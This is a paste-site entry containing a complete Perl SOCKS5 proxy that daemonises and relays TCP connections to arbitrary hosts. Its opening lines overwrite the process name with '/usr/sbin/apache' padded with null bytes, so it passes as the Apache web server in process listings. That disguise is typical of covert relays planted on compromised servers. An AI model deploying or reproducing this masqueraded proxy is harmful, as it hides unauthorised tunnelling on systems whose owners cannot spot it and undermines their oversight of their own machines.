Paste: none

Author: none
Mode: factor
Date: Thu, 29 Nov 2012 03:49:11
Plain Text |
#!/usr/bin/perl
my $p = "/usr/sbin/apache";
$0="$p"."\0"x16;
use warnings; use strict;

our $daemon   = 1; 

## Language
my $lang_daemon="Process (%s) has entered into background.\n";
my $lang_usage="Usage: $0 <local_host> <local_port> [auth_login(:auth_pass)]\n".
		"Note: the auth_pass must be an md5 (hex) hash\n".
		"eg: $0 localhost 34567 test:098f6bcd4621d373cade4e832627b4f6\n";
my $lang_bind="Could not bind to %s:%s\n";
my $lang_sockopen="Could not open a socket to %s:%s\n";
my $lang_file_open="Could not open log file.";

## Usage
if (!$ARGV[1]) { die $lang_usage; }

## Requirements
# Install using: perl -MCPAN -e'install %module'
use IO::Socket::INET;
use Digest::MD5 qw(md5_hex);

##-md5 option
if ($ARGV[0] eq '-getmd5') {
  shift;
  print md5_hex(shift);
  exit(0);
}

## Arguments
our $local_host = shift;
our $local_port = shift;
our $auth_login = shift;
our $auth_pass;

#Parse auth part
if ($auth_login && $auth_login =~ m/:/) {
	($auth_login,$auth_pass)=split(':', $auth_login);
}

#Open listening port
$SIG{'CHLD'} = 'IGNORE';
my $bind = socks_open(  Listen=>5,
                        LocalAddr=>$local_host.':'.$local_port,
                        ReuseAddr=>1) 
                        or die sprintf($lang_bind,$local_host,$local_port);

#Run as daemon
if ($daemon) {
  our $pid=fork();
  if ($pid) {
    printf($lang_daemon,$pid);
    close(); exit();
  }
}

# Start client
our $client;
while($client = $bind->accept()) {
	$client->autoflush();
	if (fork()){ socks_close($client); }
	else { socks_close($bind); new_client($client); exit(); }
}

# New client subroutine
sub new_client {
	my($t, $i, $buff, $ord, $success);
	my $client = shift;

	socks_sysread($client, $buff, 1);
	if (ord($buff) != 5) { return; } #must be SOCKS 5
	
	socks_sysread($client, $buff, 1);
	$t=ord($buff);
	unless(socks_sysread($client, $buff, $t) == $t) { return; }

	$success=0;
	for($i=0; $i < $t; $i++) {
	 $ord = ord(substr($buff, $i, 1));
	 if ($ord == 0 && !$auth_login) {
	   socks_syswrite($client, "\x05\x00", 2);
	   $success++;
	   last;
	 }
	 elsif ($ord == 1 && $auth_login) {
	   #GSSAPI auth support
	   #socks_syswrite($client, "\x05\x01", 2);
	   #$success++;
	   #last;
	 }
	 elsif ($ord == 2 && $auth_login) {
	   unless(do_login_auth($client)){ return; }
	   $success++;
	   last;
	 }
	}

	if ($success) {
	 $t = socks_sysread($client, $buff, 3);

	 if (substr($buff, 0, 1) eq "\x05") {
	   if (ord(substr($buff, 2, 1)) == 0) { # reserved
		 my($host, $raw_host) = socks_get_host($client);
		 if (!$host) { return; }
		 my($port, $raw_port) = socks_get_port($client);
		 if (!$port) { return; }
		 $ord = ord(substr($buff, 1, 1));
		 $buff = "\x05\x00\x00".$raw_host.$raw_port;
		 socks_syswrite($client, $buff, length($buff));
		 socks_do($ord, $client, $host, $port);
	   }
	 }
	}
	else { socks_syswrite($client, "\x05\xFF", 2); }

	socks_close($client);
}

# Do login authentication subroutine
sub do_login_auth {
	my($buff, $login, $pass);
	my $client = shift;

	socks_syswrite($client, "\x05\x02", 2);
	socks_sysread($client, $buff, 1);

	if (ord($buff) == 1) {
		socks_sysread($client, $buff, 1);
		socks_sysread($client, $login, ord($buff));
		socks_sysread($client, $buff, 1);
		socks_sysread($client, $pass, ord($buff));

		if ($auth_login && $auth_pass && $login eq $auth_login && md5_hex($pass) eq $auth_pass) {
			socks_syswrite($client, "\x01\x00", 2);
			return 1;
		}
		else { socks_syswrite($client, "\x01\x01", 2); }
	}

	socks_close($client);
	return 0;
}

# Get socks hostname subrouteine
sub socks_get_host {
	my $client = shift;
	my ($t, $ord, $raw_host);
	my $host = "";
	my @host;

	socks_sysread($client, $t, 1);
	$ord = ord($t);
	if ($ord == 1) {
  	socks_sysread($client, $raw_host, 4);
  	@host = $raw_host =~ /(.)/g;
  	$host = ord($host[0]).'.'.ord($host[1]).'.'.ord($host[2]).'.'.ord($host[3]);
	} elsif ($ord == 3) {
  	socks_sysread($client, $raw_host, 1);
  	socks_sysread($client, $host, ord($raw_host));
  	$raw_host .= $host;
	} elsif ($ord == 4) {
	 #ipv6
	}

	return ($host, $t.$raw_host);
}

sub socks_get_port {
	my $client = shift;
	my ($raw_port, $port);
	socks_sysread($client, $raw_port, 2);
	$port = ord(substr($raw_port, 0, 1)) << 8 | ord(substr($raw_port, 1, 1));
	return ($port, $raw_port);
}

sub socks_do {
	my($t, $client, $host, $port) = @_;

	if ($t == 1) { socks_connect($client, $host, $port); }
	elsif ($t == 2) { socks_bind($client, $host, $port); }
	elsif ($t == 3) { socks_udp_associate($client, $host, $port); }
	else { return 0; }

	return 1;
}

our $target;
sub socks_connect {
	my($client, $host, $port) = @_;
	my $target = socks_open(LocalHost => $local_host,
                          PeerAddr => $host.':'.$port,
                          Proto => 'tcp',
                          Type => SOCK_STREAM)
                          or die sprintf($lang_sockopen,$host,$port);

	unless($target) { return; }

	$target->autoflush();
	while($client || $target) {
  	my $rin = "";
  	vec($rin, fileno($client), 1) = 1 if $client;
  	vec($rin, fileno($target), 1) = 1 if $target;
  	my($rout, $eout);
  	select($rout = $rin, undef, $eout = $rin, 120);
  	if (!$rout  &&  !$eout) { return; }
  	my $cbuffer = "";
  	my $tbuffer = "";
  
  	if ($client && (vec($eout, fileno($client), 1) || vec($rout, fileno($client), 1))) {
  	 my $result = socks_sysread($client, $tbuffer, 1024);
  	 if (!defined($result) || !$result) { return; }
  	}
  
  	if ($target  &&  (vec($eout, fileno($target), 1)  || vec($rout, fileno($target), 1))) {
  	 my $result = socks_sysread($target, $cbuffer, 1024);
  	 if (!defined($result) || !$result) { return; }
  	}
  
  	while (my $len = length($tbuffer)) {
  	 my $res = socks_syswrite($target, $tbuffer, $len);
  	 if ($res > 0) { $tbuffer = substr($tbuffer, $res); } else { return; }
  	}
  
  	while (my $len = length($cbuffer)) {
  	 my $res = socks_syswrite($client, $cbuffer, $len);
  	 if ($res > 0) { $cbuffer = substr($cbuffer, $res); } else { return; }
  	}
	}
}

sub socks_bind {
	my($client, $host, $port) = @_;
	# not supported yet
}

sub socks_udp_associate {
	my($client, $host, $port) = @_;
	# not supported yet
}

sub socks_open {
  return IO::Socket::INET->new(@_);
}
sub socks_close {
  my $sock = shift;
  return $sock->close();
}
sub socks_sysread {
  my $result = sysread($_[0], $_[1], $_[2]);
  return $result;
}
sub socks_syswrite {
  return syswrite($_[0], $_[1], $_[2]);
}


#EOF

New Annotation

Summary:
Author:
Mode:
Body: